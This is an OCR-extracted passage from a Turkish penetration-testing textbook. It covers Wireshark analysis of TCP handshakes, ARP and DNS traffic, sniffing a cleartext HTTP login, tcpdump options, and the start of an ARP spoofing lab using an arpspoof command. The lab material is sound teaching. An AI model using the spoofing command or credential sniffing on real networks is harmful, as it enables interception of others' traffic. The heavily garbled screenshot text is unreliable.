ACK ve ACK paketi olanlarin kaynak ve hedef IP adreslerini inceleyiniz (Gorsel 2.34).

M iR
DOSYA Dozenle Gorondm  Git Yakala  Analiz  [statistikier Telefon  Mabdosuz  Araglar  Yardim
L) ERE Ree+EF3 5 aQa6&airH

A & H
B !

Mo Time Source Destination Protocol Length Info

= 1 0.000000 192.166.1.27 192.168.1.20 Tep 164 24839 = BOGY [PSH, ACK] Seq=1 Ack=1 Win=254 Len=110 [TCP POU reassembled in 352]
3 0805281 192.168,1.29 192.168.1.27 TCR 164 5009 + 24839 [PSH, ACK] Seq=1 Ack=111 Win=271% Len=118 [TCP POU reassembled in 35%]
4 B.846582 192.168.1.27 192.168.1.20 e 54 24839 + 8009 [ACK] Seq=111 Ack=111 Win=254 Len=8

6 5.008101 152.168,1,27 197.168.1.20 TCR 164 24835 = 8093 [FSH, ACK] Seqe1ll Ack=111 Win=254 Lens11@ [TCF POU reassembled in 352]
9 5.813871 152.168.1.20 192.168.1.27 TCP 164 BBG + 24839 [PSH, ACK] Seq=111 Ack=221 Win=2719 Len=118 [TCP PDU reassembled in 355]
A 5.0855878 192.168.1.27 192.168.1.38 TCR 54 34830 = 8009 [ACK] Seq=221 Ack=331 Win=253 Len=0

12 5.B99EIA 192.168.1,27 192.178.34.69 TCP 55 28353 = 443 [AK] Seqsl Ack=1l Win=259 Lensl

13 5.899841 192.168,1.27 192.178.24.69 TCR 55 [TCP Keep-Alive] 28353 » 443 [ACK] Seq=1 Ack=1 Win=25% Lanel

14 5463540 152,178, 24,65 192.168.1.27 TCP 66 443 = 28353 [ACK] Seq=1 Ack=2 Win=1111 Len=8 SLE=1 SRE=2

23 B.9TRZET 184,18, 3%, 21 192.168.1.27 TLSv1. 2 78 application Data

35 6.976865 192, 168.1.27 184.18.39.21 TLSv1.2 82 Application Data

28 6.985998 184,18, 3%, 21 192.168.1.27 TCP 56 443 « 28118 [AK] Seq=35 Ack=29 Win=16 Len=8

54 JBIEA + 441 [ACK] Seq=1 Ack=1 262144 Len=0

Gorsel 2.34: TCP paketlerinin filtrelenmesi
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6. Adim: Wireshark filtre alanina ip.addr == 192.168.1.191 && tcp.port == 443 && (tcp.flags.syn ==

| | (tcp.flags.ack == 1 && tcp.len == 0)) ifadesini girerek SYN, SYN-ACK ve ACK paketlerini gértntileyiniz
ve bu paketler Uzerinden 192.168.1.191 adresindeki web sunucusu ile TCP baglantisinin basariyla
kuruldugunu dogrulayiniz (Gorsel 2.35).

Ml wir

DOSYA  Duzenlé  Gorondm Gl Yekala  Anailiz  [statictikber  Telfon  Kablosud  Araglar  Yardun

: R E qeswF s = gaa Wi
W [ip.acidr == 152.168.1.191 808 icp.port == 443 B icpflags.syn == 1 1| (icp.Mags.ack == 1 fudk tcplen == Oj) I

Ma, Time Saurce Degtinatian Pratocel Length Info

54 28438 + 443 [ACK] Seqel Ack=1 Win=B5555 Len=@

4917 94.805612  192.168.1.191 192,168.1.27 Seq=1 Ack=1798 Wi

4918 94.8085512 192.168.1.191 192.168.1.27 TP 60 443 » 28438 [ACK] Seq=1 Ack=1766 Win=6259Z Len=8
4523 94.8@5748 192.168,1.27 192.168.1.181 TP 54 28432 = 443 [ACK] Seqel Acksl WinsG5536 Lens@

4525 94.805316 192.168.1.27 192.168.1.191 54 28431 + 443 [ACK] Seq=1798 Ack=1482 Win=6553& Len=0

4527 94.95035 192,168, 1. 27 152,1858.1.181 54 JB4308 - 443 [40K] Seq=1766 Acks1AB2 Win=65536 Lensd

Frame 4808: E6 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface \Dewice\NPF_{G€35F2F5-2F02-476F -8928-10F1960377( 000 dE <8 a8 63 2c 19 F8 89 d2 a9 13 95 68 60 45
Etharnet [I, Src: ClougMetwork a9:13:95 (F8:89:42:39:13:95), Dst: AzureMaveTec 63:2£:19 (d8:20:26:63:2::19) g Bt 34 7h Bc 40 08 BO B4 fb @c cB a8 81 1b <@

G 81 bf 6f @e 81 bb 77 4c ef B0 80 0O B0 00 50
of 0530 fa 10 18 Se 00 60 02 04 085 b4 81 83 83 08 01
| 84 @2

Gorsel 2.35: Basarili TCP baglanti paketleri

7. Adim: Uglii el sikisma siirecine ait paketleri inceleyiniz (Gorsel 2.36).

Goelngm G Ve Anelr  btststider Teleion Kablowr  Amga e
TRT QAe+ET2TEaaan
L9 B tep peoet wm 3 Atk (1 Myt w = 1 ] (e agrs 3k o 1 Bk Bep e =0 06

Source Destination Protocol Length ffo

5 192.168.1.27 192.168.1.191 TP 6659 28430 -+ 443 [5YN] Seq=0 Win=564240 Len=0 M55=1460

SYN —Y

3 192.168.1.191 192.168.1.27 TP 669 28430 - 443 [SYN, ACK] Seqe® Ackel Wine65536 Lenwd MSS»14560 WS=128

o5z 160327 iz toe 1o icr 009 280 s 4y ) seset ke wnsss e ]
—

e, ws 61 Byfes on wire (538 bits), 66 bytes ceptursd (328 bits) on Lnterfece (Deeice\s, WF3SE 206 36 02100 10800371 T SEecc 06 €3 99 96 56 08 ¢4 08 38 4% 06

oam 1L AMRENIENITI.IMIMI 221000, 061, &3 a1:28), Outs _63:3c119 (A3} 00 32 25 bb 77 44 42 OB 00 02 04 38 o~ (6
- e :

marmat 1Ta1 ASds_ws.88.. Src0 ClowdMstsork_sir1SS, (922.161.1.171 et el M Bt TR

MO fo 0 18 52 00 82 08 93 84 01 03 08 01
harmet Protocel 1, ceer.sies $45:81.60:#3113.873, kclr FAN.383.1:33 M3 88 02

Transmission Comtrol Protocsl, Sec Port: T8430, Dst Part: 443, Seq: 005, Len: @

W-FEFLSL 2 peapng Paketier: 1200 Deplayed 220 (23 7). gt 0 0%, Profit: Defx

Gorsel 2.36: SYN-SYN, ACK-ACK paketleri

SIZMA TESTI




BiLGi TOPLAMA VE KESiF YONTEMLERI

TCP Uclu el sikisma sirecinin analiz edilmesi; bir hedef sistemde servislerin erisilebilirligini, port
durumlarini ve ag giivenlik mekanizmalarini anlamaya yardimci olur. Bu analiz, sizma testlerinin kesif
asamasinda dogru hedeflerin belirlenmesi ve sonraki saldiri adimlarinin planlanmasi agisindan kritik bir
rol oynar.

- 10. Uygulama

Yerel agda cihazlar arasinda gerceklesen ARP (Address Resolution Protocol) trafigini Wireshark
kullanilarak inceleyerek IP-MAC eslesmesini gdzlemleyiniz.

1. Adim: Wireshark uygulamasini acarak uygun ag araylzin seciniz ve paket yakalamayi baslatiniz.

Bu uygulamada yerel ag trafigini gozlemlemek amaciyla 192.168.1.27 IP adresine sahip
cihazdan 192.168.1.1, 192.168.1.100 ve 192.168.1.191 adreslerine ping gonderilerek
olusan ARP trafigi analiz edilecektir.

2. Adim: 192.168.1.27 IP adresine sahip cihazdan 192.168.1.1, 192.168.1.100 ve 192.168.1.191 IP
adreslerine ping komutu ile baglanti testi gerceklestiriniz ve ARP trafigi olusturunuz.

3. Adim: Bir slire paket toplandiktan sonra Wireshark’ta yakalamayi durdurunuz, filtre alanina arp
ifadesini girerek yalnizca ARP paketlerini gorintileyiniz.

4. Adim: Goruntilediginiz listede yer alan ARP Request ile ARP Reply paketlerini inceleyerek “Who
has 192.168.1.100? Tell 192.168.1.27” isteginin 192.168.1.100 IP adresine sahip cihazin MAC adresini
sorguladigini, “192.168.1.100 is at XX:XX:XX:XX:XX:XX" yanitinin ise ilgili IP adresine karsilik gelen MAC
bilgisini gosterdigini degerlendiriniz (Gorsel 2.37).

‘11? - -
DOSYA  Duzenle  Gorinn Git  Yakala  Analiz s elefon  Kablosuz ~ Araclar ardim
e XRC/Re=ZF8 _ = Qi
Aarp
No. Time Source Destination Protocel fLengttfinfo
73 11.622718 CloudNetwork_a%:13:.. Broadcast ARP 42 fwho has 192.168.1.108? Tell 192.168.1.27
74 11.622722 CloudNetwork_a9:13:.. Broadcast ARP 42 fwho has 192.168.1.1€0? Tell 192.168.1.27
75 11.623346 CloudNetwork_a%:13:.. CloudNetwork_a9:13:. 4 ARP 60[192.168.1.100 is at @0:8c:29:af:e9:0c
76 11.623355 CloudNetwork_a9:13:.. CloudNetwork_a9:13:.J ARP 600192.168.1.100 is at @@:0c:29:af:e9:0c
98 16.872691 CloudNetwork_a%:13:.. CloudNetwork_a9:13:. 4 ARP 68fWho has 192.168.1.27? Tell 192.168.1.100
99 16.872705 CloudNetwork_a9:13:.. CloudNetwork_a9:13:.J ARP 6@fWho has 192.168.1.27? Tell 192.168.1.100
108 16.872736 CloudNetwork_a%:13:.. VMware_af:e9:0¢ ARP 420192.168.1.27 is at f8:89:d2:a9:13:95
181 16.872742 CloudNetwork_a%9:13:.. VMware_af:e9:8c ARP 420192 .168.1.27 is at f8:89:d2:89:13:95
126 22.057410 CloudNetwork_a9:13:.. AzureWaveTec_63:2c:.J ARP 42 fwho has 192.168.1.191? Tell 192.168.1.27
127 22.857425 CloudNetwork_a%9:13:.. AzureWaveTec_63:2c:..J ARP 42 fwhe has 192.168.1.191? Tell 192.168.1.27
128 22.067333 AzurelWlaveTec_63:2c:.. CloudNetwork_a9:13:.48 ARP 60[192.168.1.191 is at d8:c@:ab:63:2¢:19
129 22.552534 AzurelWlaveTec_63:2c:.. CloudNetwork_a9:13:.J ARP 68Wwho has 192.168.1.27? Tell 192.168.1.191
138 22.552572 CloudNetwork_a%9:13:.. AzureWaveTec_63:2c:..J] ARP 420192 .168.1.27 is at f8:89:d2:a9:13:95
131 22.552578 CloudNetwork_a%:13:.. AzureWaveTec_63:2c:.J ARP 420192 .168.1.27 is at £8:89:d2:89:13:95
<
Frame 73: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface \Device\NPF_{O@E35F2F5-2F@2-47BF-B928-10F196¢
Ethernet II, Src: CloudNetwork_a9:13:95 (f8:89:d2:a9:13:95), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Address Resolution Protocol (request)

Gorsel 2.37: ARP paketlerinin yakalanmasi
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2. OGRENME BiRiMi

ARP analizi; sizma testleri agisindan agdaki aktif cihazlarin tespit edilmesini, IP-MAC eslesmelerinin
ogrenilmesini ve hedef sistemlerin fiziksel adreslerinin belirlenmesini saglar. Elde edilen bu bilgiler,
ozellikle ARP spoofing gibi MitM saldirilarinin incelenmesinin temelini olustururken, ayni zamanda
hedef sisteme dogrudan midahale edilmeden pasif kesif yapilmasina da olanak tanir.

- 11. Uygulama

Wireshark ile ag lzerinde gerceklesen DNS sorgularini inceleyerek; istemcinin hangi alan adlarina
erismeye calistigini, bu alan adlarinin hangi IP adreslerine ¢oziimlendigini ve DNS trafiginin kesif
asamasinda nasil bilgi sagladigini trafigi yakalayarak inceleyiniz.

1. Adim: Wireshark uygulamasini acarak uygun ag araylzinu seciniz ve paket yakalamayi baslatiniz.

2. Adim: 192.168.1.27 IP adresine sahip cihazdan, www.meb.gov.tr ve diger sitelere erisim saglamaya
calisarak bir DNS trafigi olusmasini saglayiniz.

3. Adim: Web sitelerine erisim saglandiktan sonra Wireshark’ta paket yakalamayi durdurarak filtre
alanina dns ifadesini giriniz ve yalnizca DNS paketlerini goriintileyip listede yer alan sorgu (query) ve
yanit (response) paketlerini inceleyiniz (Gorsel 2.38).

DNS paketleriincelenirken Source (Kaynak IP) alani sorguyu gonderen istemciyi, Destination

m (Hedef IP) alani DNS sunucusunu, Query Name alani sorgulanan alan adini, Query Type
alani istenen kayit tirind (A, AAAA, MX, CNAME vb.) ve Answer Section alani ise DNS
sunucusunun dondiirdigu IP adresi veya ilgili kayit bilgilerini géstermektedir. Bu alanlari
incelemek ve dogrulugunu teyit etmek dnemlidir.

Ml s - a
DOSYA  Digerde Gorbndm Gt Yakala Anslz  Istatistider Telefon  Kablosuz  Araglar  Yardim
Adm @ ERE A+«=+SF320E QQaf

LIEEE [
N Time Source Destination Protocol Lengtl info
+ 59 5.041248 192.168.1.27 192.168.1.1 OHS 86 Standard query @xdfed HTTFS s google.com
63 5.041308 192.168,1.27 192.168.1.1 DHS B5 Standard query BxB1f7 A war.google.con
70 5.043733 192.168.1.27 192.168.1.1 DHS 89 Standard quory Dx3deT HTTPS acrobat.sdebe.com
79 5.045178 192.168.1.27 192.168.1.1 NS 85 Standard query @xSfS6 A acrobat.adobe.com
187 5.086436 192.168.1.1 192.168.1.27 DHS 168 Standard query response Bxdfed HTTPS wai.google.com CHAME forcesafesearch.google.com S04 nsl.google.com
108 5.086436 192.168.1.1 192.168.1.27 ohS 134 Standard query response OxB1f7 A we.google.com CNAME forcesafesearch.google.com A 216.239.38.130
109 5. 086565 192.168.1.1 152.168.1.27 DS 254 Standard query response @x9del MTTPS acrobat.adobe.com CHAME acrobat.adobe.com.i.edgekey.net CHAME e29029.dsca.aksmaiedge.net
118 5.086365 192.168.1.1 192.168.1.27 DHS 188 Standard query response DxIFS6 A acrobat,sdobe.com CMAME acrobat.adobe.con.i.edgekey.net CHANE €29329.dscs.akamaiedge.net A 64
368 5.515937 192.168.1.27 192.168.1.1 s B6 Standard quary @xafié A 1hi.google.com
372 5.516044 192,168.1.27 192.168.1.1 DS 86 Standard query Bxidb3 HTTPS 1h3.google.com
378 5.543342 192.168.1.1 192.168.1.27 oS 163 Standard query response Bx1db3 HTTPS 1h3.google.com CHAME 1h2.1.google.com SOA nil.google.com
381 %.547711 192.188.1.1 192.168.1.27 DN 134 Standard query response Oxefas A 1h).google.com CMAME 1hi.1.google.com A 192.178.1%.238
429 5634263 192.168.1.27 192.168.1.1 DHS 100 Standard query Bx1cBI HTTPS ogads-pa.clisnts6.google.com
433 5634444 192,168.1.27 192,168,1.1 oS 199 Standard query Bxeddc A ogeds-pa.clientsé.google.com
455 56568790 192.168.1.27 192.168.1.1 NS 97 Standard query @xS2ca MTTFS 1h3.googleusercontent.com
467 5.659458 192.168.1.27 192.168.1.1 DS 97 Standard quary Bxbded A 1h3.gocgleusercontent . com
454 5.661857 192.168.1.1 192.168.1.27 ONS 163 Standard query response BxleB9 HTTPS opads-pa.clientsf.google.com SOA nxl.google.conm
474 5.670355 192.168.1.1 192.168.1.27 DHS 118 Standard query response Oxeddc A ogads-pa.clientss.google.com A 172.217.18.178
492 5.692466 192.168.1.1 192.168.1.27 DHS 189 Standard query response Ox32ca HTTPS 1h3. googl .com CHAME goog d.1.googl .cm SOA nsl.gocgle.com
496 5 690983 192.168.1.1 192.168.1.27 NS 165 Standard query respanse @xbdcd A 1h3.googleusercontent.com CHAME googlehosted.l.googleusercontent.com A 192.178.24.1
631 6.631706 192.168.1.27 152.168.1.1 DHS 87 Standard query Bx1b&2 A play.google.com
635 6631818 192,168.1.27 192.168.1.1 s 47 Standard query @x7d2a WTTPS play.google.com

Gorsel 2.38: DNS paketlerinin yakalanmasi

4. Adim: Filtre alanina dns.gry.name contains “meb.gov.tr” ifadesini girerek ilgili web sitesine ait DNS
trafigini gortintlleyip inceleyiniz (Goérsel 2.39).

M wiFi

DOSYA Duzenle Gorunim  Git Vakala Analiz istatistikler Telefon Kablosuz ~ Araglar  Yardim
dm i@ 1R QeEFE S E A

i dns.gry.name contains "meb.gov.tr" I

No. Time Source Destination Protocol | Lengtl|| Info
945 9.115755 192.168.1.27 192.168.1.1 DNS 86/Standard query ©x48d2 A www.meb.gov.tr
949 9.115858 192.168.1.27 192.168.1.1 DNS 86[Standard guery @xdlec HTTPS www.meb.gov.tr
956 9.143066 192.168.1.1 192.168.1.27 DNS 1e4)Standard query response ©x48d2 A www.meb.gov.tr A 212.174.189.120
964 9.158687 192.168.1.1 192.168.1.27 DNS 136|Standard query response Bxdlec HTTPS www.meb.gov.tr SOA papatya.meb.gov.tr

Gorsel 2.39: Spesifik DNS paketinin incelenmesi
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BiLGi TOPLAMA VE KESiF YONTEMLERI

DNS trafiginin incelenmesi, yalnizca kesif asamasinda degil ayni zamanda c¢esitli saldiri tirlerinin
tespiti ve test edilmesi acisindan da kritik &neme sahiptir. Ozellikle DNS spoofing (cache poisoning)
saldirilarinda sahte DNS yanitlarinin analiz edilmesi, phishing (oltalama) senaryolarinda kullanicilarin
yonlendirildigi alan adlarinin tespit edilmesi ve Command & Control (C2) iletisiminde zararli yazilimlarin
kullandigi alan adlarinin belirlenmesi agisindan DNS trafigi énemli bir veri kaynagidir. Bunun yani sira
DNS tunneling teknikleri ile veri sizdirma faaliyetlerinin incelenmesinde, Domain Generation Algorithm
(DGA) kullanan zararli yazilimlarin tespitinde, typosquatting gibi sahte alan adi saldirilarinin analizinde
de DNS trafigi kritik rol oynar. Bu nedenle DNS analizi hem saldirilarin anlasilmasi hem de savunma
mekanizmalarinin test edilmesi agisindan sizma testlerinin dnemli bir bilesenidir.

HTTP protokolini kullanan bir web sitesine yapilan giris isleminde kullanilan oturum bilgilerini
Wireshark yazilimi ile analiz ederek testini gerceklestiriniz.

1. Adim: Herhangi bir arama motoru sitesinde http login test aramasi yapiniz.
2. Adim: Arama sonuglari listesinde yer alan 6rnek bir siteye giris yapiniz.

3. Adim: Wireshark uygulamasini acginiz ve ag dinleme islemini birinci uygulamada gosterildigi gibi
baslatiniz.

4. Adim: Gorsel 2.40'ta gorildugi gibi 6rnek site lzerinde yer alan formdaki Username ve Password
alanlarini doldurunuz ve login digmesine basiniz (Username= sizma ve Pasword= sizma degerlerini
giriniz ve ardindan login digmesine basiniz.).

If you are already registered please enter your login information below:

Username : | |

Password © | |

Gorsel 2.40: Giris ekrani

5. Adim: Wireshark yaziliminda paketleri yakalamayi durdur digmesine basiniz (Gorsel 2.41).

d Wi-Fi'den yakalama
DOSYA Dizenle Gorinim  Git  Yakala Analiz  Istatistikler Telefon Kablosuz  Araglar  Yardim

| a4 @ XNE Qe EF S __|= Q@ Q& HF
[1'_ 3€'€| Paketleri yakalamay durdur i
No. e souTee Destination Protocol Length Info

- R ' * . -

Gorsel 2.41: Paket yakalamayi durdurma
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G
’i 2. GGRENME BiRiMi

6. Adim: HTTP protokoli lzerinde yer alan oturum agma bilgilerine ulasmak igin protokol filtre alanina
http yazarak filtre uygulayiniz (Gorsel 2.42).

M i -
DOSYA  Duzerde  Gordmim  Git  Yakala  Ansbie  [statistidler  Telefon  Kablosuz  Arsglar  Yardwm

;;:ﬁf IR ae=SisEaaan é
et Source Destination FProtocet Uengih Info
e T 152.168.1.20 192.168.1.27 TP 164 8089 + 56904 [PSH, ACK] Seqe111 Ack=221 Win=1214 Len=118 [TCP segment of a resssesbled POU]
hied Sisan 192.168.1.27 224.9.9.2 IGMPv2 46 Leave Group 224.9.9.113
11 5.852187 feBR: :aa7:71¢6:621- £f02::16 ICHPYG 50 Multicast Listener Report Message v2
12 5.065908 192.168.1.27 TGP 46 Mesbership Report group 224.0.0.113
13 5.066942 febo: :ada?:71f6:621- ICHPYG 50 Multicast Listener Report Message v
14 5.065263 152.168.1.37 152.168.1.28 o 54 55004 - 8009 [ACK] Soqe221 Ack=221 Win=583 Len=0
15 5.144169 192.168.1.27 192.168.1.20 T 164 33329 + 8009 [PSH, ACK] Seqe111 Ack=111 Win=510 Len=118 [TCP segment of a reassesbled POU)
16 5.148195 192.168.1.28 152.168.1.27 TCP 164 #0045 = 33329 [PSH, ACK] Seqe111 Ack=221 Win=1168 Len=118 [TCP segment of a reassesbled POU]
17 5.191459 192.168.1.27 192.168.1.20 T 54 33329 + BOBY [ACK] Seq=221 Ack=221 Win=589 Len=0
18 5.524247 192.168.1.27 16MP2 46 Membership Meport group 224.0.8.113%
19 5.534392 feBD: 1aBa7: 7161621 ICHPvE 98 Multicast Listener Report Message v
e 20T.T8I22 152,168,1,27 44.228,345.3 HITP. 722 POST Juserinfo.php WTTE/1.1 (app /- v
o+ 21 7.875891 44.328.249.3 192.168.1.37 HTTP 330 HTTP1.1 302 Found (text/html)
+ 22 7879545 192.168,1.27 44,228, 245.3 HTTR $91 GET flogin.php WTTP/1.1
23 8076301 44.228.249.3 152.168.1.27 TP HAGE 80 + STB20 [ACK] Seqe277 Ack=1206 Win=466 Len=1412 [TCP segment of a reassesbled POU]
24 B.@T6I01 24,228,245.3 152.168.1.27 HTTP L350 HTTP/1.1 200 OK  (text/html)
25 8076391 192.168.1.27 44.338.240.3 TP 54 57820 - 80 [ACK] Seq=1206 Ack=3025 Win=512 Len=
26 19035084 192.168.1.27 152.168.1. 28 TCR 164 56504 = 8009 [PSH, ACK] Seqeill Ack=221 Wins5@5 Lens110 [TCP segment of a reassesbled FOU]
27 10.009636 192.168.1.29 192.168.1.27 TP 164 8009 + 56904 [PSH, ACK] Seq=221 Ack=331 Win=1214 Len=110 [TCP segment of a reassesbled POU]
38 18_BE1087 182168137 162 188 1_38 Tew 54 56004 + 8000 [ACK] Saas331 Arks331 Wins589 Lensd

Gorsel 2.42: Filtreleme isleminin yapilmasi

7. Adim: POST edilen userinfo.php sayfasi (zerindeki forma girdiginiz uname=kullaniciadi ve
pass=parola degerlerine ulasiniz (Gorsel 2.43).

M wiE -
DOSYA  Darenle  GorinOm Gt Yakala Analiz  Istatistkler Telefon Kablosuz  Araclar  Yardun
dm i@ EREAewsSFslSaaall

LI -
Mo, Time Source Drodcenl Leoosk oo .

T 0 7 678732 193.188.1.37 A4 3362493 | are 22 [FOST Juserinfo php HITP/1.1 (application/= www form urlencoded] |

- 21 7.875841 44.378.249.3 182.168.1.27 HITP 338 HTTR/1.1 382 Found (text/htwl)

l 22 7.879545 192.168.1.27 44.7278.343.3 HITP 591 GET /login.php HTTR/1.1

| 24 B.076301 44_208.289.% 192.168.1.27 HITF 1398 HTTP/1.1 200 0K (test/Wtml)

o Frame 28: 73 bytes on wire (5776 bits), 722 bytes captwred (5776 bits) on Interface \Device\WPF_{BE35FIF5-IF82-47BF-B928-16F19603]
> Ethernet IT, Sec: CloudNetwork_a%:13:95 (f8:88:d2:09:13:85), Det: HuaweiTechno_ab:19:e6 (aB:78:b7:ab:19:e6)

> Internsk Protocel Version 4, Sre: 193.1685.1.27, Dst: #44.23%. 349.3

> T smission Control Protocol, Src Fort: 57828, Dst Port: 38, Seq: 1, Ack: 1

> WTML Form URL Encoded: application/x-www-form-urlencoded

Gorsel 2.43: Post bilgilerine erisim saglama

8. Adim: Kullanici adi ve parola bilgilerini gorintileyiniz (Gorsel 2.44).

| <

> Frame 28: 722 bytes on wire (5776 bits), 722 bytes captured (5776 bits) on interface \Devic

> Ethernet II, Src: CloudNetwork_a9:13:95 (f8:89:d2:29:13:95), Dst: HuaweiTechno_ab:19:e6 (a8

> Internet Protecol Version 4, Src: 192.168.1.27, Dst: 44.228.249.3

» Transmission Control Protocol, Src Port: 57828, Dst Port: 88, Seq: 1, Ack: 1, Len: 668

- Hypertext Transfer Protocol
i ion/x-www-form-urlencoded

> Form item: "uname" = " sizma "

» Form item: "pass" = " sizma™

Gorsel 2.44: Kullanici adi ve parola bilgilerini goriintileme
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BiLGi TOPLAMA VE KESiF YONTEMLERI

m 12. uygulamada HTTP protokoll kullanilarak gergeklestirilen bir oturum agma islemi
sirasinda kullanici adi ve parola bilgilerinin ag Uzerinden sifrelenmeden (clear-text)
iletildigi gdzlemlenmistir. Wireshark araciligiyla bu bilgilerin kolaylikla elde edilebilmesi,
ilgili sistemin ciddi bir glivenlik zafiyetine sahip oldugunu gostermektedir. Bir sizma testi
uzmani bu tir bir durumu su sekilde degerlendirir ve raporlandirir:

« Ag lzerinde yapilan pasif dinleme ile herhangi bir aktif saldiri gergeklestirmeden kullanici kimlik
bilgileri ele gegirilebilir.

« Bu durum o6zellikle ayni agda bulunan kot niyetli bir kullanicinin hedef sistemdeki kullanici hesapla-
rini ele gegirmesine olanak tanir.

« Elde edilen kullanici adi ve parola bilgileri; sistem tizerinde yetkisiz erisim, ayricalik yiikseltme (privi-
lege escalation), yatay hareket (lateral movement) gibi ileri asama saldirilar icin kullanilabilir.

« Ayni parolanin farkli sistemlerde kullanilmasi durumunda saldirgan, diger sistemlere de erisim sagla-
yabilir (credential reuse riski).

Sira Sizde

Bir sizma testi slirecinde ag Gzerindeki dinamik IP dagitim siirecini analiz etmek amaciyla Wireshark
aracini kullanarak DHCP paketlerini izleyiniz. DHCP iletisim siirecinde gergeklesen paket aligverisini
inceleyerek elde ettiginiz bulgulari yorumlayiniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme 6lgutlerini dikkate aliniz.

2. tcpdump

tcpdump, komut satiri tabanli bir paket yakalama aracidir ve 6zellikle Linux tabanli sistemlerde kullanimi
yaygindir. Grafik arayliz gerektirmemesi, uzaktan erisim senaryolarinda avantaj saglar.

Sizma testi agisindan tcpdump su 6zelliklere sahiptir:

o Hizli ve hafif paket yakalama

o Belirli port veya IP filtreleme

o Yakalanan trafigi dosyaya kaydetme

o Daha sonra detayl analiz icin Wireshark’a aktarma

Ozellikle ic agda SSH erisimi saglanmis bir sistem Uzerinde tcpdump calisirmak, merkezi bir noktadan
trafigiizleme imkani sunabilir. Ag sorunlarini ¢cozmek, glivenlik agiklarini tespit etmek ve ag performansini
artirmak icin vazgecilmez bir arac¢ olarak hem ag yoneticileri hem de siber glivenlik profesyonelleri
tarafindan yaygin olarak kullanihr. tcpdump, kullaniciya trafigi filtreleme ve detaylh bir sekilde inceleme
imkani sunar. Kali Linux isletim sisteminde tcpdump komutlarini kullanmak icin root (yonetici) yetkisine
sahip olmak gerekir.
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Yaygin olarak kullanilan komutlar ve agiklamalari soyledir:

Komut Kullanimi: tcpdump

Aciklama: Agdaki tim trafigi yakalamaya baslar. Varsayilan olarak ilk birkag baytini gosterir.

Komut Kullanimi: tcpdump -i ethO

Aciklama: eth0 araylizl Gzerindeki tiim trafigi dinler ve yakalar.

Komut Kullanimi: tcpdump src 192.168.2.1

Aciklama: 192.168.2.1 IP adresinden gelen trafigi yakalar.

Komut Kullanimi: tcpdump dst 192.168.10.1

Aciklama: 192.168.10.1 IP adresine giden trafigi yakalar.

tcpdump komutu cesitli parametrelere sahiptir. En yaygin olarak kullanilan parametreler Tablo 2.7’de

verilmistir.

Tablo 2.7: tcpdump Parametreleri ve Agiklamalari

T T S

tcpdump

Ag trafigini analiz eder.

tcpdump -D

Ag lzerinde dinlenebilecek butiin arayizleri listeler.

tcdump -i “araylzin adi”

Belirtilen araylzin dinlenmesini saglar.

tcpdump -v

Paketin protokol icerigini de gosteren detayl bir analiz yapar.

tcpdump -vv

Paketin NFS ve SMB igerigini de gosteren detayli bir analiz
yapar.

tcpdump -vvv

Paketin Telnet igerigini de gosteren detayli bir analiz yapar.

tcpdump -q

Paketin sadece temel bilgilerini iceren bir analiz yapar.

tcdump -c “say1”

Belirtilen sayida paket icerigini listeler.

tcpdump -n

Analiz esnasinda transfer yapilan adresin IP adresi ve port
adini yazdirir.

tcpdump -n dst “IP adresi”

Belirtilen IP adresine giden paketleri listeler.

tcpdump -n src “IP adresi”

Belirtilen IP adresinden gelen paketleri listeler.

tcpdump -n “IP adresi”

Belirtilen IP adresinden gelen veya giden biitlin paketleri
listeler.

tcpdump -n dst net “ag adresi”

Belirtilen ag adresine giden paketleri listeler.

tcpdump -n src net “ag adresi”

Belirtilen ag adresinden gelen paketleri listeler.

tcpdump -n net “ag adresi”

Belirtilen ag adresinden gelen veya giden biitlin paketleri
listeler.

tcpdump -n port “port numarasi”

Hedef veya kaynak portu belirtilen port olan paketleri listeler.

tcpdump -n dst port “port numarasi”

Hedef portu belirtilen port olan paketleri listeler.

tcpdump -n src port “port numarasi”

Kaynak portu belirtilen port olan paketleri listeler.

tcpdump -v icmp

ICMP paketlerini listeler.

tcpdump -v arp

ARP paketlerini listeler.
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Parametre Adi Aciklama

Ag kartini promiscuous moddan gikararak yalnizca o sisteme ait
MAC adresine gelen paketlerin yakalanmasini saglar.

tcpdump -p

Yakalanan paketlerin ikinci katman bilgilerini, bir baska deyisle MAC

tcpdump -e
P P adreslerini elde etmek icin kullanilir.

istenilen paketleri bir dosya halinde kaydeder. Kaydedilen bu dosya
Wireshark gibi programlarla agilarak da incelenebilir.

4

tcpdump -w “dosya ismi”

tcpdump -r “dosya ismi” Dosya halinde olan bir paket listesini acar.

13. Uygulama

Ag lizerinde ARP spoofing (Man-in-the-Middle) saldirisi baslatarak tcpdump ile tespit ediniz ve anormal
ARP davranislari analiz edecek uygulamayi gerceklestiriniz.

Bu uygulamada 192.168.1.100 cihazinda Kali Linux, 192.168.1.27 cihazinda Windows isletim sistemi ve
192.168.1.1 ise ag gecidi olarak kullaniimaktadir.

m ARP spoofing saldirisinda saldirgan, kendisini ag gecidi (gateway) gibi gostererek trafigi
Uzerine g¢eker. Bu saldiri sirasinda agda anormal ARP cevaplari (gratuitous ARP) olusur.

1. Adim: Kali Linux Uzerinde ag arayliziinQ belirleyerek ARP trafigini dinlemek amaciyla
tcpdump aracini baslatiniz (Gorsel 2.45).

Ro
ne

3 U

1. 1E]

]

1 U

3= U

3
Unk
U
U

Ro

Reply mo

Gorsel 2.45: Olagan ARP trafiginin izlenmesi

2. Adim: Windows makinede normal bir islem yapiniz ve arp trafigi baslatiniz (Ornegin bir web sitesine
giriniz.).

SIZMA TESTI @



o SO
@_ 2. OGRENME BiRiMmi

3. Adim: Kali tizerinde sudo arpspoof -i ethO -t 192.168.1.27 192.168.1.1 komutunu kullanarak ARP
spoofing baslatiniz (Gorsel 2.46).

1 ethe -t 192.168.1.27 192.168.1.1

Gorsel 2.46: ARP spoofing saldirisinin baslatiimasi

4. Adim: Tekrar tcpdump -i eth0 arp komutuyla trafigi izleyiniz ve cevap olarak gelen farkli MAC adresini
tespit ederek saldirinin analizini yapiniz (Gorsel 2.47).

Gorsel 2.47: Olagandisi ARP trafiginin izlenmesi

m ARP Reply modem.home is-at 00:0c:29:af:e9:0c
ARP Reply modem.home is-at a0:70:b7:ab:19:e6

incelenen ARP trafiginde yukaridaki veriler nedeniyle ayni IP adresine ait birden fazla MAC
